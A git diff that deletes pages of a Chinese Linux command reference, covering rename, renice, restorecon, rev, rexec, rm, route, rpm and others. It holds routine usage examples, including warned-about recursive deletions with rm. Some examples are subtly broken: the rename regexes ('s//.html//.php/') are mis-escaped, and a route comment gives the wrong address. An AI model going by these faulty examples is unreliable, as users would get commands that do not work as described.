-        不执行任何操作:打印要重命名的文件名,但不重命名。
-
--f, --force
-        覆盖:允许覆盖现有文件
-
---path, --fullpath
-        重命名完整路径:包括任何目录组件。默认
-
--d, --filename, --nopath, --nofullpath
-        不重命名目录:仅重命名路径的文件名部分
-
--h, --help
-        帮助:打印提要和选项。
-
--m, --man
-        手册: 打印手册页.
-
--V, --version
-        版本: 显示版本号.
-
--e      表达: 作用于文件名的代码.
-
-        可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。
-
--E      语句:对文件名执行操作的代码,如-e,但终止于 ';'.
-
-
-# C语言版本
--v, --verbose
-        提供视觉反馈,其中重命名了哪些文件(如果有的话)
-
--V, --version
-        显示版本信息并退出。
-
--s, --symlink
-        在符号链接目标上执行重命名
-
--h, --help
-        显示帮助文本并退出
-
-

实例

-
-

Perl版本

-

将1.txt 2.txt重命名为1.log 2.log

-
$ rename -v "s/txt/log/g" 1.txt 2.txt
-1.txt renamed as 1.log
-2.txt renamed as 2.log
-
-

修改文件的后缀

-
rename "s//.html//.php/" *     # 把.html 后缀的改成 .php后缀
-
-

批量添加文件后缀

-
rename "s/$//.txt/" *  # 把所有的文件名都以txt结尾
-
-

批量删除文件名

-
rename "s//.txt//" *   # 把所有以.txt结尾的文件名的.txt删掉
-
-
-
C语言版本
-

将1.txt 2.txt重命名为1.log 2.log

-
$ rename -v txt log 1.txt 2.txt
-`1.txt' -> `1.log'
-`2.txt' -> `2.log'
-
-

文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278

-
# 把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。
-rename foo foo0 foo?
-
-# foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。
-rename foo foo0 foo??
-
-# foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。
-rename foo foo0 foo*
-
-# 从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。
-rename foo0 foo foo0[2]*
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/renice.html b/linux-command.docset/Contents/Resources/Documents/c/renice.html deleted file mode 100644 index 3a597430c3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/renice.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - renice 命令,Linux renice 命令详解:修改正在运行的进程的调度优先级 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

renice

-

修改正在运行的进程的调度优先级

-

补充说明

-

renice命令 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。

-

语法

-
renice(选项)(参数)
-
-

选项

-
-g:指定进程组id;
--p<程序识别码>:改变该程序的优先权等级,此参数为预设值。
--u:指定开启进程的用户名。
-
-

参数

-

进程号:指定要修改优先级的进程。

-

实例

-

将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1:

-
renice 1 987 -u daemon root -p 32
-
-

注意:每一个行程都有一个唯一的id。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/repquota.html b/linux-command.docset/Contents/Resources/Documents/c/repquota.html deleted file mode 100644 index cb40173809..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/repquota.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - repquota 命令,Linux repquota 命令详解:报表的格式输出磁盘空间限制的状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

repquota

-

报表的格式输出磁盘空间限制的状态

-

补充说明

-

repquota命令 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。

-

语法

-
repquota(选项)(参数)
-
-

选项

-
-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组;
--g:列出所有群组的磁盘空间限制;
--u:列出所有用户的磁盘空间限制;
--v:显示该用户或群组的所有空间限制。
-
-

参数

-

文件系统:要打印报表的文件系统或者对应的设备文件名。

-

实例

-

显示所有文件系统的磁盘使用情况

-
repquota -a
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/resize.html b/linux-command.docset/Contents/Resources/Documents/c/resize.html deleted file mode 100644 index f84213f2f5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/resize.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - resize 命令,Linux resize 命令详解:命令设置终端机视窗的大小 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

resize

-

命令设置终端机视窗的大小

-

补充说明

-

resize命令 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。

-

语法

-
resize [-cu][-s <列数> <行数>]
-
-

选项

-
-c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
--s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。
--u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
-
-

实例

-

使用 C shell

-
[root@localhost ~]# resize -c
-set noglob;
-setenv COLUMNS '99';
-setenv LINES '34';
-unset noglob;
-
-

使用 Bourne shell

-
[root@localhost ~]# resize -u
-COLUMNS=99;
-LINES=34;
-export COLUMNS LINES;
-
-

设置指定大小

-
[root@localhost ~]# resize -s 80 160
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/restore.html b/linux-command.docset/Contents/Resources/Documents/c/restore.html deleted file mode 100644 index f86a35e6ef..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/restore.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - restore 命令,Linux restore 命令详解:所进行的操作和dump指令相反 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

restore

-

所进行的操作和dump指令相反

-

补充说明

-

restore命令 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。

-

语法

-
restore(选项)
-
-

选项

-
-b<区块大小>:设置区块大小,单位为Byte;
--c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件;
--C:使用对比模式,将备份的文件与现行的文件相互对比;
--D<文件系统>:允许用户指定文件系统的名称;
--f<备份文件>:从指定的文件中读取备份数据,进行还原操作;
--h:仅解除目录而不包括与该目录相关的所有文件;
--i:使用互动模式,在进行还原操作时,restore指令将依序询问用户;
--m:解开符合指定的inode编号的文件或目录而非用文件名称指定;
--r:进行还原操作;
--R:全面还原文件系统时,检查应从何处开始进行;
--s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号;
--t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称;
--v:显示指令执行过程;
--x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内;
--y:不询问任何问题,一律以同意回答并继续执行指令。
-
-

实例

-
dump -9 -u -f /dev/hda3 /home/frank/
-
-

用restore命令来恢复备份:

-
restore rf /dev/hda3 /home/frank
-
-

用restore命令来查看备份文件里的文件列表:

-
restore ft /dev/hda3
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/restorecon.html b/linux-command.docset/Contents/Resources/Documents/c/restorecon.html deleted file mode 100644 index 6d30eedbc2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/restorecon.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - restorecon 命令,Linux restorecon 命令详解:恢复文件的安全上下文 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

restorecon

-

恢复文件的安全上下文

-

补充说明

-

restorecon命令 用来恢复SELinux文件属性即恢复文件的安全上下文。

-

语法

-
restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...]
-
-

选项

-
-i:忽略不存在的文件。
--f:infilename 文件 infilename 中记录要处理的文件。
--e:directory 排除目录。
--R/-r:递归处理目录。
--n:不改变文件标签。
--o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。
--v:将过程显示到屏幕上。
--F:强制恢复文件安全语境。
-
-

实例

-

假设CentOS安装了apache,网页默认的主目录是/var/www/html,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录/var/www/html中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与/var/www/html目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例:

-

使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装

-
[root@jsdig.com ~]# yum install httpd
- # 我们在root的家目录新建一个html文件 
-[root@jsdig.com ~]# pwd
-/root
-
-[root@jsdig.com ~]# vi index.html
-
-# 随便输入一段文字,保存退出 
-welcome to www.jsdig.com
-
-# 将这个文件mv到网页默认目录下 
-[root@jsdig.com ~]# mv index.html /var/www/html/
-
-# 
-# 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
-# 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
-# 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
-# 正确的SELinux配置信息应该是scontext=后面的部分,
-# 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
-# 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
-# 
-type=AVC msg=audit(1378974214.610:465): avc:  denied  { open } for  pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file
-
-

使用ls -Z也可以看出,文件和目录的SELinux信息不匹配

-
[root@jsdig.com html]# ls -Z /var/www/html/
-.... unconfined_u:object_r:admin_home_t:s0 index.html
-
-[root@jsdig.com html]# ls -Zd /var/www/html/
-.... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/
-
-

使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)

-
[root@jsdig.com html]# restorecon -R /var/www/html/
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/return.html b/linux-command.docset/Contents/Resources/Documents/c/return.html deleted file mode 100644 index 5458b5f7e3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/return.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - return 命令,Linux return 命令详解:从函数中退出并返回数值。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

return

-

从函数中退出并返回数值。

-

概要

-
return [n]
-
-

主要用途

-
    -
  • 使得shell函数退出并返回数值,如果没有指定n的值,则默认为函数最后一条命令执行的返回状态。
  • -
-

参数

-

n(可选):整数。

-

返回值

-

返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。

-

在函数外执行return语句会返回失败。

-

例子

-
#!/usr/bin/env bash
-# 定义一个返回值大于255的函数
-example() {
-  return 259
-}
-# 执行函数
-example
-# 显示3
-echo $?
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rev.html b/linux-command.docset/Contents/Resources/Documents/c/rev.html deleted file mode 100644 index 7d326d240c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rev.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - rev 命令,Linux rev 命令详解:将文件内容以字符为单位反序输出 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rev

-

将文件内容以字符为单位反序输出

-

补充说明

-

rev命令 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。

-

语法

-
rev(参数)
-
-

参数

-

文件:指定要反序显示内容的文件。

-

实例

-
[root@localhost ~]# cat iptables.bak
-# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
-*filter
-:INPUT DROP [48113:2690676]
-:FORWARD accept [0:0]
-:OUTPUT ACCEPT [3381959:1818595115]
--A INPUT -i lo -j ACCEPT
--A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
--A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
--A INPUT -p icmp -j ACCEPT
--A OUTPUT -o lo -j ACCEPT
-COMMIT
-# Completed on Thu Dec 26 21:25:15 2013
-
-[root@localhost ~]# rev iptables.bak 
-3102 51:52:12 62 ceD uhT no 5.3.1v evas-selbatpi yb detareneG #
-retlif*
-]6760962:31184[ PORD TUPNI:
-]0:0[ TPECCA DRAWROF:
-]5115958181:9591833[ TPECCA TUPTUO:
- TPECCA j- ol i- TUPNI A-
- TPECCA j- 22 tropd-- pct m- pct p- TUPNI A-
- TPECCA j- 08 tropd-- pct m- pct p- TUPNI A-
- TPECCA j- DEHSILBATSE,DETALER etats-- etats m- TUPNI A-
- TPECCA j- pmci p- TUPNI A-
- TPECCA j- ol o- TUPTUO A-
-TIMMOC
-3102 51:52:12 62 ceD uhT no detelpmoC #
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rexec.html b/linux-command.docset/Contents/Resources/Documents/c/rexec.html deleted file mode 100644 index b0c57f7d52..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rexec.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - rexec 命令,Linux rexec 命令详解:远程执行Linux系统下命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rexec

-

远程执行Linux系统下命令

-

补充说明

-

rexec命令 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求。

-

rexec命令通过检查$HOME/.netrc文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找/etc/security/user文件。也可以指定-n标志到rexec命令行上来重设自动登录功能。

-

语法

-
rexec(选项)(参数)
-
-

选项

-
-a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程;
--l<用户名>:指定连接远程rexec服务器的用户名;
--p<密码>:指定连接远程rexec服务器的密码;
--n:明确地提示输入用户名和密码。
-
-

参数

-
    -
  • 远程主机:指定远程主机(ip地址或主机名);
  • -
  • 命令:指定需要在远程主机上执行的命令。
  • -
-

实例

-

要在一个远程主机上执行date命令,输入:

-
rexec host1 date
-
-

date命令的输出现在显示在本地系统上。本示例中,在本地主机上的$HOME/.netrc文件包含远程主机上有效的用户名和密码。如果没有远程主机的$HOME/.netrc文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。

-

要重设自动登录功能并执行远程主机上的date命令,输入:

-
rexec -nhost1 date
-
-

出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。

-

列出远程主机上另一个用户的目录,输入:

-
rexec host1 ls -l /home/karen
-
-

在远程主机host1上的karen 用户的目录列表显示在本地系统上。

-

如果没有远程主机的$HOME/.netrc文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rlogin.html b/linux-command.docset/Contents/Resources/Documents/c/rlogin.html deleted file mode 100644 index 01e68427b4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rlogin.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - rlogin 命令,Linux rlogin 命令详解:从当前终端登录到远程Linux主机 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rlogin

-

从当前终端登录到远程Linux主机

-

补充说明

-

rlogin命令 用于从当前终端登录到远程Linux主机。

-

语法

-
rlogin(选项)(参数)
-
-

选项

-
-8:允许输入8位字符数据;
--e脱离字符>:设置脱离字符;
--E:滤除脱离字符;
--l用户名称>:指定要登入远端主机的用户名称;
--L:使用litout模式进行远端登入阶段操作。
-
-

参数

-

远程主机:指定要登录的远程主机(ip地址或者域名)。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rm.html b/linux-command.docset/Contents/Resources/Documents/c/rm.html deleted file mode 100644 index ca291533c7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rm.html +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - rm 命令,Linux rm 命令详解:用于删除给定的文件和目录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rm

-

用于删除给定的文件和目录

-

补充说明

-

rm 命令 可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。

-

注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。rm命令可以用-i选项,这个选项在使用文件扩展名字符删除多个文件时特别有用。使用这个选项,系统会要求你逐一确定是否要删除。这时,必须输入y并按Enter键,才能删除文件。如果仅按Enter键或其他字符,文件不会被删除。

-

语法

-
rm (选项)(参数)
-
-

选项

-
-d:直接把欲删除的目录的硬连接数据删除成0,删除该目录;
--f:强制删除文件或目录;
--i:删除已有文件或目录之前先询问用户;
--r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;
---preserve-root:不对根目录进行递归操作;
--v:显示指令的详细执行过程。
-
-

参数

-

文件:指定被删除的文件列表,如果参数中含有目录,则必须加上-r或者-R选项。

-

实例

-

交互式删除当前目录下的文件test和example

-
rm -i test example
-Remove test ?n(不删除文件test)
-Remove example ?y(删除文件example)
-
-

删除当前目录下除隐含文件外的所有文件和子目录

-
# rm -r *
-
-

应注意,这样做是非常危险的!

-

rm 命令删除当前目录下的 package-lock.json 文件

-
find .  -name "package-lock.json" -exec rm -rf {} \;
-
-

rm 命令删除当前目录下的 node_modules 目录

-
find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
-
-

rm 命令删除文件

-
# rm 文件1 文件2 ...
-rm testfile.txt
-
-

rm 命令删除目录

-
-

rm -r [目录名称] --r 表示递归地删除目录下的所有文件和目录。 --f 表示强制删除

-
-
rm -rf testdir
-rm -r testdir
-
-

删除操作前有确认提示

-
-

rm -i [文件/目录]

-
-
rm -r -i testdir
-
-

rm 忽略不存在的文件或目录

-
-

-f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示

-
-
rm -f [文件...]
-
-

仅在某些场景下确认删除

-
-

选项 -I,可保证在删除超过 3 个文件时或递归删除时(LCTT 译注: 如删除目录)仅提示一次确认。

-
-
rm -I file1 file2 file3
-
-

删除根目录

-
-

当然,删除根目录(/)是 Linux 用户最不想要的操作,这也就是为什么默认 rm 命令不支持在根目录上执行递归删除操作。 -然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。

-
-
不给实例了,操作系统都被你删除了,你太坏了😆
-
-

rm 显示当前删除操作的详情

-
rm -v [文件/目录]
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rmdir.html b/linux-command.docset/Contents/Resources/Documents/c/rmdir.html deleted file mode 100644 index 15ccfe2c37..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rmdir.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - rmdir 命令,Linux rmdir 命令详解:用来删除空目录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rmdir

-

用来删除空目录

-

补充说明

-

rmdir命令 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限。

-

注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子目录。

-

虽然还可以用带有-r选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。

-

语法

-
rmdir(选项)(参数)
-
-

选项

-
-p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;
---ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息;
--v或-verboes:显示命令的详细执行过程;
---help:显示命令的帮助信息;
---version:显示命令的版本信息。
-
-

参数

-

目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。

-

实例

-

将工作目录下,名为 www 的子目录删除 :

-
rmdir www
-
-

在工作目录下的 www 目录中,删除名为 Test 的子目录。若 Test 删除后,www 目录成为空目录,则 www 亦予删除。

-
rmdir -p www/Test
-
-

下面命令等价于 rmdir a/b/c, rmdir a/b, rmdir a

-
rmdir -p a/b/c
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rmmod.html b/linux-command.docset/Contents/Resources/Documents/c/rmmod.html deleted file mode 100644 index 7298bfa889..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rmmod.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - rmmod 命令,Linux rmmod 命令详解:从运行的内核中移除指定的内核模块 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rmmod

-

从运行的内核中移除指定的内核模块

-

补充说明

-

rmmod命令 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。

-

语法

-
rmmod(选项)(参数)
-
-

选项

-
-v:显示指令执行的详细信息;
--f:强制移除模块,使用此选项比较危险;
--w:等待着,直到模块能够被除时在移除模块;
--s:向系统日志(syslog)发送错误信息。
-
-

参数

-

模块名:要移除的模块名称。

-

实例

-

用rmmod命令主要用于卸载正在使用的Linux内核模块,与modprobe -r命令相似,如下所示:

-
[root@localhost boot]# lsmod | grep raid1
-raid1                  25153  0
-
-[root@localhost boot]# rmmod raid1
-[root@localhost boot]# lsmod | grep raid1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/route.html b/linux-command.docset/Contents/Resources/Documents/c/route.html deleted file mode 100644 index 54c4cc0a9b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/route.html +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - route 命令,Linux route 命令详解:显示并设置Linux中静态路由表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

route

-

显示并设置Linux中静态路由表

-

补充说明

-

route命令 用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。

-

在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来保证该路由设置永久有效。

-

语法

-
route(选项)(参数)
-
-

选项

-
-A:设置地址类型;
--C:打印将Linux核心的路由缓存;
--v:详细信息模式;
--n:不执行DNS反向查找,直接显示数字形式的IP地址;
--e:netstat格式显示路由表;
--net:到一个网络的路由表;
--host:到一个主机的路由表。
-
-

参数

-
Add:增加指定的路由记录;
-Del:删除指定的路由记录;
-Target:目的网络或目的主机;
-gw:设置默认网关;
-mss:设置TCP的最大区块长度(MSS),单位MB;
-window:指定通过路由表的TCP连接的TCP窗口大小;
-dev:路由记录所表示的网络接口。
-
-

实例

-

显示当前路由:

-
[root@localhost ~]# route
-Kernel IP routing table
-Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
-112.124.12.0    *               255.255.252.0   U     0      0        0 eth1
-10.160.0.0      *               255.255.240.0   U     0      0        0 eth0
-192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
-172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
-10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
-default         112.124.15.247  0.0.0.0         UG    0      0        0 eth1
-
-[root@localhost ~]# route -n
-Kernel IP routing table
-Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
-112.124.12.0    0.0.0.0         255.255.252.0   U     0      0        0 eth1
-10.160.0.0      0.0.0.0         255.255.240.0   U     0      0        0 eth0
-192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
-172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
-10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
-0.0.0.0         112.124.15.247  0.0.0.0         UG    0      0        0 eth1
-
-

其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:

-
    -
  • U Up表示此路由当前为启动状态。
  • -
  • H Host,表示此网关为一主机。
  • -
  • G Gateway,表示此网关为一路由器。
  • -
  • R Reinstate Route,使用动态路由重新初始化的路由。
  • -
  • D Dynamically,此路由是动态性地写入。
  • -
  • M Modified,此路由是由路由守护程序或导向器动态修改。
  • -
  • ! 表示此路由当前为关闭状态。
  • -
-

添加网关/设置网关:

-
route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达244.0.0.0的路由。
-
-

屏蔽一条路由:

-
route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
-
-

删除路由记录:

-
route del -net 224.0.0.0 netmask 240.0.0.0
-route del -net 224.0.0.0 netmask 240.0.0.0 reject
-
-

删除和添加设置默认网关:

-
route del default gw 192.168.120.240
-route add default gw 192.168.120.240
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpm.html b/linux-command.docset/Contents/Resources/Documents/c/rpm.html deleted file mode 100644 index fddca5c780..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpm.html +++ /dev/null @@ -1,225 +0,0 @@ - - - - - - - - - - - rpm 命令,Linux rpm 命令详解:RPM软件包的管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpm

-

RPM软件包的管理工具

-

补充说明

-

rpm命令 是RPM软件包的管理工具。rpm原本是Red Hat Linux发行版专门用来管理Linux各项套件的程序,由于它遵循GPL规则且功能强大方便,因而广受欢迎。逐渐受到其他发行版的采用。RPM套件管理方式的出现,让Linux易于安装,升级,间接提升了Linux的适用度。

-

语法

-
rpm(选项)(参数)
-
-

选项

-
-a:查询所有套件;
--b<完成阶段><套件档>+或-t <完成阶段><套件档>+:设置包装套件的完成阶段,并指定套件档的文件名称;
--c:只列出组态配置文件,本参数需配合"-l"参数使用;
--d:只列出文本文件,本参数需配合"-l"参数使用;
--e<套件档>或--erase<套件档>:删除指定的套件;
--f<文件>+:查询拥有指定文件的套件;
--h或--hash:套件安装时列出标记;
--i:显示套件的相关信息;
--i<套件档>或--install<套件档>:安装指定的套件档;
--l:显示套件的文件列表;
--p<套件档>+:查询指定的RPM套件档;
--q:使用询问模式,当遇到任何问题时,rpm指令会先询问用户;
--R:显示套件的关联性信息;
--s:显示文件状态,本参数需配合"-l"参数使用;
--U<套件档>或--upgrade<套件档>:升级指定的套件档;
--v:显示指令执行过程;
--vv:详细显示指令执行过程,便于排错。
-
-

参数

-

软件包:指定要操纵的rpm软件包。

-

实例

-

如何安装rpm软件包

-

rpm软件包的安装可以使用程序rpm来完成。执行下面的命令:

-
rpm -ivh your-package.rpm
-
-

其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。

-

安装过程中可能出现下面的警告或者提示:

-
... conflict with ...
-
-

可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用rpm --force -i强制安装即可

-
... is needed by ...
-... is not installed ...
-
-

此包需要的一些软件你没有安装可以用rpm --nodeps -i来忽略此信息,也就是说rpm -i --force --nodeps可以忽略所有依赖关系和文件问题,什么包都能安装上,但这种强制安装的软件包不能保证完全发挥功能。

-

如何安装.src.rpm软件包

-

